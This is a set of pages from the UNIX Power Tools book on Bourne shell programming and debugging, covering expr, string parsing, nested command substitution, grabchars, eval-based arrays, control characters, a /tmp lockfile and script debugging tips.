Previous: 45.25 Shell Scripts On-the-Fly from Standard Input | UNIX Power Tools | Next: 45.27 Turn Off echo for "Secret" Answers
45.25 Shell Scripts On-the-Fly from Standard Input | Book Index | 45.27 Turn Off echo for "Secret" Answers
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 45] 45.27 Turn Off echo for "Secret" Answers

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 45.26 Quoted hereis Document Terminators: sh vs. csh Chapter 45
Shell Programming for the Initiated 		Next: 45.28 Quick Reference: expr

45.27 Turn Off echo for "Secret" Answers

When you type your password, UNIX turns off echoing so what you type won't show on the screen. You can do the same thing in shell scripts with stty -echo.

stty

read

#!/bin/sh
   ...
trap 'stty echo; exit' 0 1 2 3 15
# use the right echo for your UNIX:
echo "Enter code name: \c"
#echo -n "Enter code name: "
stty -echo
read ans
stty echo
   ...

The response is stored in $ans. The trap (44.12) helps to make sure that, if the user presses CTRL-c to abort the script, characters will be echoed again.

- JP

Previous: 45.26 Quoted hereis Document Terminators: sh vs. csh | UNIX Power Tools | Next: 45.28 Quick Reference: expr
45.26 Quoted hereis Document Terminators: sh vs. csh | Book Index | 45.28 Quick Reference: expr
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 45] 45.28 Quick Reference: expr

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 45.27 Turn Off echo for "Secret" Answers Chapter 45
Shell Programming for the Initiated 		Next: 45.29 Testing Characters in a String with expr

45.28 Quick Reference: expr

expr
expr is a very handy tool in shell programming, since it provides the ability to evaluate a wide range of arithmetic, logical, and relational expressions. It evaluates its arguments as expressions and prints the result. expr is a standard UNIX utility; the GNU version is on the CD-ROM.

Here's the syntax. The [brackets] mean "optional"; don't type the brackets:

expr arg1 operator arg2 [ operator arg3 ... ]

Arguments and operators must be separated by spaces. In many cases, an argument is an integer, typed literally or represented by a shell variable. There are three types of operators: arithmetic, relational, and logical.

Exit status (44.7) values for expr are 0 if the expression evaluates non-zero and non-null, 1 if the expression evaluates to 0 or null, or 2 if the expression is invalid.

Arithmetic operators

Use these to produce mathematical expressions whose results are printed.

+

Add arg2 to arg1.

-

Subtract arg2 from arg1.

*

Multiply the arguments.

/

Divide arg1 by arg2.

%

Take the remainder when arg1 is divided by arg2.

Addition and subtraction are evaluated last, unless they are grouped inside parentheses. The symbols *, (, and ) have meaning to the shell, so they must be escaped (preceded by a backslash or enclosed in quotes).

Relational operators

Use these to compare two arguments. Arguments can also be words, in which case comparisons assume a<z and A<Z. If the comparison statement is true, expr writes 1 to standard output (13.1); if false, it writes 0. The symbols > and < must be escaped.

=

Are the arguments equal?

!=

Are the arguments different?

>

Is arg1 greater than arg2?

>=

Is arg1 greater than or equal to arg2?

<

Is arg1 less than arg2?

<=

Is arg1 less than or equal to arg2?

Logical operators

Use these to compare two arguments. Depending on the values, the result written to standard output can be arg1 (or some portion of it), arg2, or 0. The symbols | and & must be escaped.

|

Logical OR; if arg1 has a non-zero (and non-null) value, the output is arg1; otherwise, the output is arg2.

&

Logical AND; if both arg1 and arg2 have a non-zero (and non-null) value, the output is arg1; otherwise, the output is 0.

:

Sort of like grep (27.1); arg2 is a pattern to search for in arg1. arg2 must be a regular expression in this case. If the arg2 pattern is enclosed in \( \), the output is the portion of arg1 that matches; otherwise, the output is simply the number of characters that match. A pattern match always applies to the beginning of the argument (the ^ symbol is assumed by default).

45.28.1 Examples

Division happens first; output is 10:

$ expr 5 + 10 / 2

Addition happens first; output is 7 (truncated from 7.5):

$ expr \( 5 + 10 \) / 2

Add 1 to variable i; this is how variables are incremented in Bourne shell scripts:

i=`expr "$i" + 1`

Output 1 (true) if variable a is the string "hello":

$ expr "$a" = hello

Output 1 (true) if variable b plus 5 equals 10 or more:

$ expr "$b" + 5 \>= 10

In the examples below, variable p is the string "version.100". This command returns the number of characters in p:

$ expr "$p" : '.*'   Output is 11

Match all characters and print them:

$ expr "$p" : '\(.*\)'   Output is "version.100"

Output the number of lowercase letters matched:

$ expr "$p" : '[a-z]*'   Output is 7

Match a string of lowercase letters:

$ expr "$p" : '\([a-z]*\)'   Output is \"version"

Truncate $x if it contains five or more characters; if not, just output $x. (Logical OR uses the second argument when the first one is 0 or null; i.e., when the match fails.)

$ expr "$x" : '\(.....\)'  "$x"

- DG from O'Reilly & Associates' UNIX in a Nutshell (SVR4/Solaris)

Previous: 45.27 Turn Off echo for "Secret" Answers | UNIX Power Tools | Next: 45.29 Testing Characters in a String with expr
45.27 Turn Off echo for "Secret" Answers | Book Index | 45.29 Testing Characters in a String with expr
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 45] 45.29 Testing Characters in a String with expr

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 45.28 Quick Reference: expr Chapter 45
Shell Programming for the Initiated 		Next: 45.30 Grabbing Parts of a String

45.29 Testing Characters in a String with expr

The expr (45.28) command does a lot of different things with expressions. One expression it handles has three arguments: first, a string; second, a colon (:); third, a regular expression (26.4). The string and regular expression usually need quotes.

expr can count the number of characters that match the regular expression. The regular expression is automatically anchored to the start of the string you're matching, as if you'd typed a ^ at the start of it in grep, sed, and so on. expr is usually run with backquotes (9.16) to save its output:

$ part="resistor 321-1234-00"  name="Ellen Smith"
   ...
$ expr "$part" : '[a-z ]*[0-9]'  ...character position of first number
10
$ len=`expr "$name" : '[a-zA-Z]*'`
$ echo first name has $len characters
first name has 5 characters

When a regular expression matches some character(s), expr returns a zero ("true") exit status (44.7). If you want a true/false test like this, throw away the number that expr prints and test its exit status:

/dev/null

$ if expr "$part" : '.*[0-9]' > /dev/null
> then echo \$part has a number in it.
> else echo "it doesn't"
> fi
$part has a number in it.

- JP

Previous: 45.28 Quick Reference: expr | UNIX Power Tools | Next: 45.30 Grabbing Parts of a String
45.28 Quick Reference: expr | Book Index | 45.30 Grabbing Parts of a String
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 45] 45.30 Grabbing Parts of a String

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 45.29 Testing Characters in a String with expr Chapter 45
Shell Programming for the Initiated 		Next: 45.31 Nested Command Substitution

45.30 Grabbing Parts of a String

How can you parse (split, search) a string of text to find the last word, the second column, and so on? There are a lot of different ways. Pick the one that works best for you - or invent another one! (UNIX has slots of ways to work with strings of text.)

45.30.1 Matching with expr

The expr command (45.28) can grab part of a string with a regular expression. The example below is from a shell script whose last command-line argument is a filename. The two commands below use expr to grab the last argument and all arguments except the last one. The "$*" gives expr a list of all command-line arguments in a single word. (Using "$@" (44.15) here wouldn't work because it gives individually quoted arguments. expr needs all arguments in one word.)

last=`expr "$*" : '.* \(.*\)'`    # LAST ARGUMENT
first=`expr "$*" : '\(.*\) .*'`    # ALL BUT LAST ARGUMENT

Let's look at the regular expression that gets the last word. The leading part of the expression, .* , matches as many characters as it can, followed by a space. This includes all words up to and including the last space. After that, the end of the expression, \(.*\), matches the last word.

The regular expression that grabs the first words is the same as the previous one - but I've moved the \( \) pair. Now it grabs all words up to but not including the last space. The end of the regular expression,  .*, matches the last space and last word - and expr ignores them. So the final .* really isn't needed here (though the space is). I've included that final .* because it follows from the first example.

expr is great when you want to split a string into just two parts. The .* also makes expr good for skipping a variable number of words when you don't know how many words a string will have. But expr is lousy for getting, say, the fourth word in a string. And it's almost useless for handling more than one line of text at a time.

45.30.2 Using echo with awk, colrm, or cut

awk can split lines into words. But awk has a lot of overhead and can take some time to execute, especially on a busy system. The cut (35.14) and colrm (35.15) commands start more quickly than awk but they can't do as much.

All of those utilities are designed to handle multiple lines of text. You can tell awk to handle a single line with its pattern-matching operators and its NR variable. You can also run those utilities with a single line of text, fed to the standard input through a pipe from echo (8.6). For example, to get the third field from a colon-separated string:

string="this:is:just:a:dummy:string"
field3_awk=`echo "$string" | awk -F: '{print $3}'`
field3_cut=`echo "$string" | cut -d: -f3`

Let's combine two echo commands. One sends text to awk, cut, or colrm through a pipe; the utility ignores all the text from columns 1-24, then prints columns 25 to the end of the variable text. The outer echo prints The answer is and that answer. Notice that the inner double quotes are escaped with backslashes to keep the Bourne shell from interpreting them before the inner echo runs:

echo "The answer is `echo \"$text\" | awk '{print substr($0,25)}'`"
echo "The answer is `echo \"$text\" | cut -c25-`"
echo "The answer is `echo \"$text\" | colrm 1 24`"

45.30.3 Using set

The Bourne shell set (44.19) command can be used to parse a single-line string and store it in the command-line parameters (44.15) "$@", $*, $1, $2, and so on. Then you can also loop through the words with a for loop (44.16) and use everything else the shell has for dealing with command-line parameters. Also, you can set the IFS variable (35.21) to control how the shell splits the string.

45.30.4 Using sed

The UNIX sed (34.24) utility is good at parsing input that you may or may not be able to split into words otherwise, at finding a single line of text in a group and outputting it, and many other things. In this example, I want to get the percentage-used of the filesystem mounted on /home. That information is buried in the output of the df (24.9) command. On my system, df output looks like:

% df
Filesystem            kbytes    used   avail capacity  Mounted on
   ...
/dev/sd3c            1294854  914230  251139    78%    /work
/dev/sd4c             597759  534123    3861    99%    /home
   ...

I want the number 99 from the line ending with /home. The sed address / \/home$/ will find that line (including a space before the /home makes sure the address doesn't match a line ending with /something/home). The -n option keeps sed from printing any lines except the line we ask it to print (with its p command). I know that the "capacity" is the only word on the line that ends with a percent sign (%). A space after the first .* makes sure that .* doesn't "eat" the first digit of the number that we want to match by [0-9]. The sed escaped-parenthesis operators (34.10) grab that number. Here goes:

usage=`df | sed -n '/ \/home$/s/.* \([0-9][0-9]*\)%.*/\1/p'`

Combining sed with eval (8.10) lets you set several shell variables at once from parts of the same line. Here's a command line that sets two shell variables from the df output:

eval `df |
sed -n '/ \/home$/s/^[^ ]*  *\([0-9]*\)  *\([0-9]*\).*/kb=\1 u=\2/p'`

The left-hand side of that substitution command has a regular expression that uses sed's escaped parenthesis operators. They grab the "kbytes" and "used" columns from the df output. The right-hand side outputs the two df values with Bourne shell variable-assignment commands to set the kb and u variables. After sed finishes, the resulting command line looks like this:

eval kb=597759 u=534123

Now $kb will give you 597759 and $u contains 534123.

- JP

Previous: 45.29 Testing Characters in a String with expr | UNIX Power Tools | Next: 45.31 Nested Command Substitution
45.29 Testing Characters in a String with expr | Book Index | 45.31 Nested Command Substitution
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 45] 45.31 Nested Command Substitution

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 45.30 Grabbing Parts of a String Chapter 45
Shell Programming for the Initiated 		Next: 45.32 A Better read Command: grabchars

45.31 Nested Command Substitution

Article 9.16 introduces command substitution with a pair of backquotes (``). Let's review. The shell runs a backquoted string as a command, then replaces the string with its output. Sometimes - though not as often - you'll want to use the results from one backquoted string as arguments to another command, itself also inside backquotes. To do that, you need to nest the backquotes, to tell the shell which command (which set of backquotes) should be done first, with its output given to the second command. This is tricky with backquotes; the Korn Shell introduced an easier way that you'll see below. Here's a simple example - the first command line uses nested backquotes, and the next two commands show its parts: [5]

[5] True, this won't give the right answer after 1998. True, the Korn shell has built-in arithmetic. But this is a simple example!

$ echo "Next year will be 19`expr \`date +%y\` + 1`."
Next year will be 1997.
$ date +%y
96
$ expr 96 + 1
97

The command to run first has escaped backquotes (\`\`) around it. In the example above, that's the date +%y command. date +%y outputs the year - in this case, 96 - and that value is passed to the expr command. expr adds 96 and 1 to get 97. Then that result (from the outer backquotes) is passed to echo, on its command line, and echo prints the message.

Why does the inner command, inside the escaped backquotes (\`\`), run first? It's because the backslash before the backquote turns off the special meaning (8.14) of the backquote. So, when the shell first evaluates the command line (8.5), which backquotes does it see? It sees the unescaped backquotes, the ones around the expr command, and the shell runs the command:

expr `date +%y` + 1

But when the shell evaluates that command line, it sees the backquotes in it (now unescaped) and runs that command-date +%y. The date +%y command outputs 96. Next, the shell can finish the command expr 96 + 1. It outputs 97. Then the echo command can print its message.

Whew. If you use the Korn shell or bash, there's an easier way: the $(command) operators. Use $( before the command, where you would use an opening backquote. Put the ) after the command, in place of a closing backquote. You don't have to escape these operators when you nest them.

Here's the previous example with $( ), then a more real-life example:

2>&1

$ echo "Next year will be 19$(expr $(date +%y) + 1)."
Next year will be 1997.
$ tarout=$(tar cf /dev/rst1 $(find . -type f -mtime -1 -print) 2>&1)
    time passes...
$ echo "$tarout"
tar: ./files/145923: Permission denied

The inner command - in this case, the find (17.1) -is run first. Its output, a list of filenames, is put on the command line of the tar (20.1) command. Finally, the output of tar (in this case, an error message) is stored in the tarout shell variable.

Beginners (and some long-time programmers too) might argue that you should never nest command substitution because it's too confusing. I think there are times nesting is clearer. It's more compact and doesn't need temporary storage. And it's not that hard to understand once you see what's happening. There's another nice example in article 38.13.

- JP

Previous: 45.30 Grabbing Parts of a String | UNIX Power Tools | Next: 45.32 A Better read Command: grabchars
45.30 Grabbing Parts of a String | Book Index | 45.32 A Better read Command: grabchars
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 45] 45.32 A Better read Command: grabchars

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 45.31 Nested Command Substitution Chapter 45
Shell Programming for the Initiated 		Next: 45.33 Testing Two Strings with One case Statement

45.32 A Better read Command: grabchars

grabchars
 grabchars gets characters from the user as they are typed in, without having to wait for the RETURN key to be pressed. Among other things, this allows shell scripts to be written with highly interactive menus.

By default, grabchars will obtain one character from the standard input, echo that character to the standard output, and return an exit status (44.7) of one - meaning one character was read. Options (see the manual page) accept more than one character, accept only certain characters, prompt the user, and more.

Here's an example. With the standard echo (8.6) and read (44.13) commands, you'd prompt a user this way:

echo -n "Answer y or n, then press RETURN: "
read ans

With grabchars, a prompt can be printed to standard error, the user's answer read as soon as the character is pressed, and backquotes (9.16) used to grab the standard output (the user's answer, echoed by grabchars):

ans=`grabchars -q'Answer y or n: '`

By default, the answer that grabchars reads and echoes will be "eaten" by the backquotes; the user won't see what she typed. That's nice when the answer needs to be a secret. To show the answer, you have two choices:

  • You can use the -b option. grabchars will echo the answer to both stdout (which the backquotes read) and stderr (which is usually the terminal).

  • You can also use one of my favorite tricks, completing the user's answer before their eyes. For example, if the user types y, the script echoes yes. An n answer echoes as no. Any other answer (x) echoes as: x? Please answer y or n. Here's that sample code, including a while loop (44.10) to repeat until the user types the right answer:

    :

1>&2 break

    while :
do
    ans=`grabchars -q'Answer y or n: '`
    case "$ans" in
y) echo "yes" 1>&2; break ;;
    n) echo "no" 1>&2; break ;;
    *) echo "${ans}?  Please answer y or n." 1>&2 ;;
    esac
done

The option -cvalid-characters tells grachars to accept only characters listed in valid-characters (this can be a regular expression like [a-z]). If the user types something that isn't listed, grabchars will ignore the answer and wait. So, to accept only y or n:

ans=`grabchars -c'yn' -q'Answer y or n: '`

There are lots of other options. I'd like to explain two more. (Please look at the manual page for the rest.) You can give grabchars a time limit with the -t option. If the user doesn't answer by then, grabchars can quit - and also give a default answer from the -d option. The timeout option lets you write shell scripts where you can offer some assistance if it's obvious that the user might be stuck - or to let a user answer a prompt only if he doesn't want the default. For example:

ans=`grabchars -t5 -d'y' -q'To stop, type n within 5 seconds: '`

If the user doesn't type anything in 5 seconds, grabchars will answer y automatically.

- JP, DS

Previous: 45.31 Nested Command Substitution | UNIX Power Tools | Next: 45.33 Testing Two Strings with One case Statement
45.31 Nested Command Substitution | Book Index | 45.33 Testing Two Strings with One case Statement
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 45] 45.33 Testing Two Strings with One case Statement

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 45.32 A Better read Command: grabchars Chapter 45
Shell Programming for the Initiated 		Next: 45.34 Arrays in the Bourne Shell

45.33 Testing Two Strings with One case Statement

The shell's case statement (44.5) has some advantages over the test command (44.20)- for instance, case can do pattern matching. But test has the -a and -o "and" and "or" operators; those don't seem easy to do with case. And test isn't built in to some older shells, so using case may be faster.

Here's a way to test two things with one case statement. It won't solve all your problems. If you think carefully about the possible values the variables you're testing can have, though, this might do the trick. Use a separator (delimiter) character between the two variables.

In the example below, I've picked a slash (/). You could use almost any character that isn't used in case pattern matching (44.6) and that won't be stored in either $# or $1. The case below tests the command-line arguments of a script:

case "$#/$1" in
1/-f) redodb=yes ;;
0/) ;;
*)  echo "Usage: $myname [-f]" 1>&2; exit 1 ;;
esac

If there's one argument ($# is 1) and the argument ($1) is exactly -f, the first pattern matches, and the redodb variable is set. If there's no argument, $# will be 0 and $1 will be empty, so the second pattern matches. Otherwise, something is wrong; the third pattern matches, the script prints an error and exits.

Of course, you can do a lot more this way than just testing command-line arguments.

- JP

Previous: 45.32 A Better read Command: grabchars | UNIX Power Tools | Next: 45.34 Arrays in the Bourne Shell
45.32 A Better read Command: grabchars | Book Index | 45.34 Arrays in the Bourne Shell
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 45] 45.34 Arrays in the Bourne Shell

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 45.33 Testing Two Strings with One case Statement Chapter 45
Shell Programming for the Initiated 		Next: 45.35 Using a Control Character in a Script

45.34 Arrays in the Bourne Shell

The C shell (47.5), awk (33.11), the Korn shell, and some other UNIX command interpreters have built-in array support. The standard Bourne shell doesn't, though its command line is a sort-of array that you can store with the set (44.19) command - and get stored values through $1, $2, etc.

You can store and use Bourne shell variables - with names like array1, array2, and so on - to simulate an array with elements 1, 2, and so on. The eval (8.10) command does the trick. As an example, if the n shell variable stores the array index (1, 2, etc.), you can store an element of the array named part with:

eval part$n="value"

and use its value with:

eval echo "The part is \$part$n."

You need the extra quoting in that last command because eval scans the command line twice. The really important part is \$part$n-on the first pass, the shell interprets $n, strips off the backslash, and leaves a line like:

echo "The part is $part5."

The next pass gives the value of the part5 variable.

To store a line of text with multiple words into these fake array elements, the set command won't work. A for loop (44.16) usually will. For example, to read a line of text into the temp variable and store it in an "array" named part:

expr

echo "Enter the line: \c"
read temp
n=0
for word in $temp
do
n=`expr $n + 1`
   eval part$n="$word"
done

The first word from $temp goes into the variable part1, the second into part2, and so on.

- JP

Previous: 45.33 Testing Two Strings with One case Statement | UNIX Power Tools | Next: 45.35 Using a Control Character in a Script
45.33 Testing Two Strings with One case Statement | Book Index | 45.35 Using a Control Character in a Script
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 45] 45.35 Using a Control Character in a Script

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 45.34 Arrays in the Bourne Shell Chapter 45
Shell Programming for the Initiated 		Next: 45.36 Shell Lockfile

45.35 Using a Control Character in a Script

There are times when you need to use non-printing control characters in a script file. If you type them directly into the file, they can be invisible to printers and on your screen - or, worse, they can cause trouble when you print or display the file.

One time you might need to store control characters in a script is when you're writing sed substitution commands; you don't know what delimiters to use because the strings you're substituting could contain almost any text:

sed "s/$something/$whoknows/"

Because sed can use almost any character as the delimiter (34.7), you can use a control character like CTRL-a instead of the slash (/). Another time you might also need to use non-printable strings of characters is for controlling a terminal; you won't want to type an Escape character directly into the file.

The answer is to use a command that will create the control characters as the script runs - and store them in shell variables.

45.35.1 With echo

If your version of echo (8.6, 46.10) interprets an octal number in a string like \001 as its ASCII value (51.3), the job is easy. An octal-to-ASCII chart shows you that 001 is CTRL-a. You can store the output of echo in a shell variable, and use the variable wherever you need a CTRL-a character:

`...`

ca=`echo '\001'`     # control-A character
   ...
sed "s${ca}$something${ca}$whoknows${ca}"

45.35.2 With tr and echo

If your echo can't make control characters directly, the tr utility can do it for you. tr understands octal sequences, too. Make your echo output characters you don't want, and have tr translate them into the control characters you do want. For example, to make the 4-character sequence ESCape CTRL-a [ CTRL-w, use a command like this:

escseq=`echo 'ea[w' | tr 'eaw' '\033\001\027'`

tr reads the four characters down the pipe from echo; it translates the e into ESCape (octal 033), the a into CTRL-a (octal 001), and the w into CTRL-w (octal 027). The left bracket isn't changed; tr prints it as is.

The script.tidy script in article 51.6 shows a way to set several control characters in several shell variables with one command - that's efficient because it cuts the number of subprocesses needed. Another way to get control characters is with the handy jot (45.11) command on the CD-ROM.

- JP

Previous: 45.34 Arrays in the Bourne Shell | UNIX Power Tools | Next: 45.36 Shell Lockfile
45.34 Arrays in the Bourne Shell | Book Index | 45.36 Shell Lockfile
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 45] 45.36 Shell Lockfile

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 45.35 Using a Control Character in a Script Chapter 45
Shell Programming for the Initiated 		Next: 46. Shell Script Debugging and Gotchas

45.36 Shell Lockfile

Here's an efficient and portable way to create a lockfile from a shell script. [6] It's also an interesting demonstration of the way that UNIX umasks (22.4) and file permissions (22.2) are handled.

[6] Greg Ubben sent this idea.

A lockfile can be used if a particular program might be run more than once at the same time - and you need to be sure that only one instance of the program can do something (like modify some file, access a printer, etc.). Let's say you have a script called edmaster; it edits a master configuration file named config. To be sure that two users can't modify the config file at the same time, the first edmaster would check whether the lockfile exists. If the lockfile doesn't exist, edmaster will create it and modify the config file. When it's done editing, it removes the lockfile. If someone tries to run a second edmaster process, it will see the lockfile from the first edmaster, wait and check every few seconds to see if the lockfile is gone. Once the first edmaster removes the lockfile, the second edmaster can create the lockfile and do its editing of config.

Here are pieces of a script that check the lock, create it, and (later) remove it:

2> /dev/null

set

# set name of this program's lockfile:
myname=`basename $0`
LOCKFILE=/tmp/lock.$myname
   ...
# Loop until we get a lock:
until (umask 222; echo $$ >$LOCKFILE) 2>/dev/null   # test & set
do
   # Optional message - show lockfile owner and creation time:
   set x `ls -l $LOCKFILE`
   echo "Waiting for user $4 (working since $7 $8 $9)..."

   sleep 5
done

# Do whatever we need exclusive access to do...
   ...
rm -f $LOCKFILE            # unlock

So if another user tried to run edconfig, and jpeek had run edconfig first, she might see:

% edconfig
Waiting for user jpeek (working since Aug 23 14:05)...
   ...a 5-second pause
Waiting for user jpeek (working since Aug 23 14:05)...
   another 5-second pause...
   ...then jpeek finishes and she can edit the file.

How does it work? Almost all of the action is in the first line of the loop. A umask of 222 creates files that are read-only (mode r--r--r--). Because the umask 222 command is run in a subshell (38.4), it only affects the lockfile that's created in the subshell at the top of the loop. The rest of the shell script keeps its normal umask.

If the lockfile already exists (because another process has created it), the loop executes sleep 5; five seconds later, it tries to create the lock. If the lockfile exists, it will be read-only - so, the command echo $$ >$LOCKFILE will return a nonzero status. A nonzero status is what keeps an until loop (44.10) running. Once the other process (which has the lock) removes the lockfile, the echo command in the subshell will write the shell's process ID number into the lockfile and the until loop will terminate.

But, if the lockfile is read-only, how can it ever be created? That's the other interesting part of this technique. The umask only applies to the file as it's created; if the file doesn't exist, the umask doesn't apply to it (yet) and the file can be created. In fact, you can create a file with mode 000 by typing:

$ (umask 666; echo hi > afile)
$ ls -l afile
----------  1 jpeek   wheel   3 Aug 23 14:08 afile

- JP

Previous: 45.35 Using a Control Character in a Script | UNIX Power Tools | Next: 46. Shell Script Debugging and Gotchas
45.35 Using a Control Character in a Script | Book Index | 46. Shell Script Debugging and Gotchas
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 46] Shell Script Debugging and Gotchas

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 45.36 Shell Lockfile Chapter 46 Next: 46.2 Quoting Trouble? Think, Then Use echo

46. Shell Script Debugging and Gotchas

Contents:
Tips for Debugging Shell Scripts
Quoting Trouble? Think, Then Use echo
Bourne Shell Debugger Shows a Shell Variable
Stop Syntax Errors in Numeric Tests
Stop Syntax Errors in String Tests
Watch Out for Bourne Shell -e Bug
Quoting and Command-Line Parameters
Test Built-In Commands for Failure
If Command Doesn't Return a Status, Test the Error Messages
A Portable echo Command

46.1 Tips for Debugging Shell Scripts

Depending on the Bourne shell version you have, the error messages it gives can be downright useless. For instance, it can just say End of file unexpected. Here are a few tricks to use to get a little more information about what's going on.

46.1.1 Use -xv

Start your script like this:

#!/bin/sh -xv

(or, if your UNIX can't handle #!, use the command set -xv (44.19)). The -xv shows you what's happening as the shell reads your script. The lines of the script will be shown as the shell reads them. The shell shows each command it executes with a plus sign (+) before the command.

Note that the shell reads an entire loop (for, while, etc.) before it executes any commands in the loop.

If you want to run a script with debugging but you don't want to edit the script file, you can also start the shell explicitly from the command line and give the options there:

% sh -xv scrfile

Debugging output is usually pretty long, more than a screenful. So I pipe it to a pager like pg. But the shell sends its debugging output to stderr, so I pipe both stdout and stderr (13.4). Using a pager has another advantage: if you want to kill the script before it finishes, just use the pager's "quit" command (like q). When the pager quits, UNIX may even kill the shell script (you may see the message Broken pipe (50.12)).

Do you want to save the debugging output in a file and see it on your screen, too? Use tee (13.9) to snag the scrfile stdout and stderr; add tee to the pipeline before the pager.

If the script is slow, you can run it in the background. Redirect the shell's output and errors (13.5, 8.13) into a temporary file (21.3). Use tail -f (25.16) to "watch" the log file. If you want to do something else while the script runs, just kill the tail command (with CTRL-c or your interrupt key), do something else, then start another tail -f when you want to watch again.

Finally, if the script normally writes something to its standard output, you can split the normal and debugging outputs into two files (13.1).

46.1.2 Unmatched Operators

If the shell says End of file unexpected, look for a line in your script that has an opening quote but no closing quote. The shell is probably searching for but never finding the matching quote. The same goes for missing parentheses and braces ({}).

46.1.3 Exit Early

If you're getting an End of file unexpected error, put these two lines near the middle of the script:

echo "DEBUG: quitting early..." 1>&2
exit

Then run your script. Those lines will print a message and stop the shell where you put them. If you don't get the End of file unexpected error anymore, you know that the problem is somewhere after the exit line. Move those two lines farther down and try again. (Otherwise, move them up...)

46.1.4 Missing or Extra esac, ;;, fi, etc.

A message like line 23: ;; unexpected means that you have an unmatched piece of code somewhere before line 23. You'll also see fi unexpected. Look at all nested if and case statements, and statements like them, to be sure that they end in the right places.

46.1.5 Line Numbers Reset Inside Redirected Loops

The shell may give you an error that mentions "line 1" or another line number that seems way too small, when there's no error close to the top of your script. Look at any loops or other structures with redirected inputs or outputs (45.22). Some Bourne shells start a separate shell to run these loops and lose track of the line numbers.

- JP

Previous: 45.36 Shell Lockfile | UNIX Power Tools | Next: 46.2 Quoting Trouble? Think, Then Use echo
45.36 Shell Lockfile | Book Index | 46.2 Quoting Trouble? Think, Then Use echo
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 46] 46.2 Quoting Trouble? Think, Then Use echo

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 46.1 Tips for Debugging Shell Scripts Chapter 46
Shell Script Debugging and Gotchas 		Next: 46.3 Bourne Shell Debugger Shows a Shell Variable

46.2 Quoting Trouble? Think, Then Use echo

Q: I can't get the following shell script to work:

Q:

case $col2 in
"income") awk '{if($2=='$col2') {   /* THIS LINE IS THE PROBLEM */
          /* I CAN'T GET AWK TO RECOGNIZE EITHER '$col2' or '$2' */
                .
                .

          } ' $file1 ;;

A: It is clear from this code fragment that awk is supposed to compare $2 with "income". If you think about it (or change awk to echo above), you will see that you have given the following to awk:

A:

{if($2==income) { /* THIS LINE IS THE PROBLEM */

A: What does awk do with this? It compares $2 with the contents of the variable income. If income has not been set, it compares it with zero or with the null string. Instead, you want:

A:

{ if ($2 == "income") {

A: which you can say with:

A:

case $col2 in
income)
        awk '
        {
                if ($2 == "'$col2'") {
                        ... awk code ...
                }
        }' $file1;;

Replacing commands with echo in shell scripts is a handy debugging trick.

- CT in net.unix on Usenet, 1 November 1986

Previous: 46.1 Tips for Debugging Shell Scripts | UNIX Power Tools | Next: 46.3 Bourne Shell Debugger Shows a Shell Variable
46.1 Tips for Debugging Shell Scripts | Book Index | 46.3 Bourne Shell Debugger Shows a Shell Variable
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 46] 46.3 Bourne Shell Debugger Shows a Shell Variable

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 46.2 Quoting Trouble? Think, Then Use echo Chapter 46
Shell Script Debugging and Gotchas 		Next: 46.4 Stop Syntax Errors in Numeric Tests

46.3 Bourne Shell Debugger Shows a Shell Variable

If you have a shell script that sets several variables and you want to show the value of one of them, you can add a loop that asks you forvariable names and displays their values : (45.19)

% cat myscript
#!/bin/sh
   ...
while echo "Pick a variable; just RETURN quits: \c"
      read var
do
      case "$var" in
      "") break ;;
      *)  eval echo \$$var ;;
      esac
done

The loop prompts Pick a variable:, then reads a value; if you type an empty answer, the loop quits. Otherwise, the value of that variable is displayed; the eval (8.10) command scans the echo command line twice.

This tip isn't just good for debugging. It's good in any shell script where you need to show the value of a variable by typing its name.

- JP

